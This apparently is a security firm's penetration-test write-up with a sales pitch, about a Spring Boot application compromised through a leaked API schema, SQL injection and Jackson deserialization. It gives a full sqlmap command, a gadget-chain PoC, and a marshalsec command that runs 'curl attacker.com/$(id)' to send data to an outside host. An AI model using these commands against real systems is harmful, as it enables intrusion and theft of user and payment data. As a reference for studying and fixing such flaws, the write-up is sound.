1. Recon: Swagger Leak → Attack Surface
Publicly accessible /v3/api-docs (SpringDoc OpenAPI) — the full schema of all 47 endpoints, including internal admin ones. Parameters, request/response schemas, examples. Saves days of recon.
Key findings: POST /api/admin/import (accepts JSON for bulk import), POST /api/search (raw SQL in the q parameter), GET /actuator/env (Spring Boot Actuator secrets).
2. SQL Injection in Search (High → Critical Chain)
The q parameter in /api/search?q= was concatenated into a native Hibernate query without parameterization. Classic UNION-based SQLi. Extracted the DB schema, PostgreSQL version, and the table list.
sqlmap -u "https://target.com/api/search?q=test" --dbs --batch --level 5 --risk 3
# Result: 12 databases, 2.4M rows in users table, credit_cards, sessions, reset_tokens3. Jackson Deserialization → RCE (Critical)
The POST /api/admin/import endpoint used ObjectMapper.readValue(json, Object.class) with enableDefaultTyping() enabled (Polymorphic Type Handling). This lets an attacker specify an arbitrary class in the JSON via @class.
Gadget Chain: com.fasterxml.jackson.databind.node.POJONode → javax.script.ScriptEngineManager → javax.script.ScriptEngine → eval() → RCE. Used marshalsec to generate the payload.
# PoC JSON for RCE (simplified)
{
"@class": "com.fasterxml.jackson.databind.node.POJONode",
"value": {
"@class": "javax.script.ScriptEngineManager",
"engineName": "JavaScript",
"factory": { ... }
}
}
# Generation via marshalsec
java -cp marshalsec.jar marshalsec.Jackson gadget "curl attacker.com/$(id)"Result: curl attacker.com/$(id) executed on the server → reverse shell → root via dirty sudo inside the container.
4. Post-exploitation and Impact
Full DB Dump
2.4M users: email, bcrypt hashes, PII, payment tokens
Root on Production
Container escape via misconfigured sudo in the Dockerfile
Payment Data
Tokenized cards (Stripe), sufficient for refunds/fraud
5. Remediation and Result
mapper.disable(MapperFeature.DEFAULT_TYPING)PolymorphicTypeValidatorAll Criticals closed within 24h. Retest — 0 findings. The client received a report for investors (Series A due diligence passed).
Worried about deserialization in your Java stack?
We'll check ObjectMapper, Spring Cloud, SpEL, Groovy, SnakeYAML, Hessian, Kryo. We'll provide a PoC or confirm it's safe.
Order a Java/Spring audit